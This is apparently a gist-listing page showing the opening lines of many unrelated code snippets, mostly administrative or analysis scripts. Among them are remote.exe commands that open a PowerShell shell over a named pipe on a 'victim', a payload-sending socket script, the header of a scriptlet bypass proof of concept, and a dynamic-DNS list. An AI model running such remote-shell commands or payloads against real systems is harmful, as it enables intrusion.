yashodhank

FROM ubuntu:14.04

# Ubuntu 14.04 is used instead of 16.04, because 16.04 has too new a version of GCC
# and valgrind configure complains

# automake is needed for aclocal to build the valgrind code
# wget and git for fetching source
# python is required for building capstone
RUN apt-get update && apt-get -y install \
        build-essential \

yashodhank

<?XML version="1.0"?>
<scriptlet>
<registration 
    progid="PoC"
    classid="{F0001111-0000-0000-0000-0000FEEDACDC}" >
	<!-- Proof Of Concept - Casey Smith @subTee -->
	<!--  License: BSD3-Clause -->
	<script language="JScript">
		<![CDATA[
	

yashodhank

#!/boot/bzImage

# Linux kernel userspace initialization code, translated to bash
# (Minus floppy disk handling, because seriously, it's 2017.)
# Not 100% accurate, but gives you a good idea of how kernel init works
# GPLv2, Copyright 2017 Hector Martin <[email protected]>
# Based on Linux 4.10-rc2.

# Note: pretend chroot is a builtin and affects the current process
# Note: kernel actually uses major/minor device numbers instead of device name

yashodhank

# Includes http://www.prout.be/dns/
# Includes Dyn.com
# Includes now-ip.com
# Includes changeip.com
# Includes dnsdynamic.org
# Includes cjb.net
# Includes pubyun.com (some of it at least)
# Includes darweb.com
# Includes dhis.org
# Includes dhs.org

yashodhank

from hashlib import sha1, sha256, sha224, sha384, sha512, md5
from base64 import b64encode, b32encode


digest = "894b186bf79d4337c4f44140a2ec12b42d13a79f".decode("hex")
hexdigest = "894b186bf79d4337c4f44140a2ec12b42d13a79f"


methods = {
    "encode_hex": lambda x: x.encode("hex"),

yashodhank

import socket
import time
import struct
from random import randint
  
TCP_IP = "172.16.195.169"
TCP_PORT = 9009
  
  
def send_payload(packet):

yashodhank

## hacked together by @JohnLaTwC, Nov 2016, v 0.5
## This script attempts to decode common PowerShell encoded scripts. This version handles:
##  * base64 data which encode unicode, gzip, or deflate encoded strings
##  * it can operate on a file or stdin
##  * it can run recursively in the event of multiple layers
## With apologies to @Lee_Holmes for using Python instead of PowerShell
## 
import sys
import zlib
import re

yashodhank

# Command to run on the victim
# This will establish a PowerShell listener over the "pwnme" named pipe
remote /S "powershell.exe" pwnme

# Commands to run on an attacker system - if remote.exe is desired on the client (versus developing your own SMB pipe client)
runas /netonly /user:[Domain|Hostname\Username] "cmd"
remote /C [Hostname\IP] "pwnme"

yashodhank

<?xml version="1.0" encoding="utf-8"?>
<SiPolicy xmlns="urn:schemas-microsoft-com:sipolicy">
  <VersionEx>1.0.0.0</VersionEx>
  <PolicyTypeID>{A244370E-44C9-4C06-B551-F6016E563076}</PolicyTypeID>
  <PlatformID>{2E07F7E4-194C-4D20-B7C9-6F44A6C5A234}</PlatformID>
  <Rules>
    <Rule>
      <Option>Enabled:Unsigned System Integrity Policy</Option>
    </Rule>
    <Rule>

yashodhank

#region Step #1 (optional): Salvaging of drivers

 # I had to manually install a disk and network driver the last time I installed Nano Server.
 # I saved my previous WIM file and exported the installed drivers using the Dism cmdlets.

# These paths are specific to my system.
# This was my old Nano Server TP5 image.
$NanoTP5ImagePath =  'C:\Users\Matt\Desktop\Temp\NanoTP5Setup\NanoServerBin\NanoServer.wim'
$WimTempMountDir =   'C:\Users\Matt\Desktop\TempMountDir'
$ExportedDriverDir = 'C:\Users\Matt\Desktop\ExportedDrivers'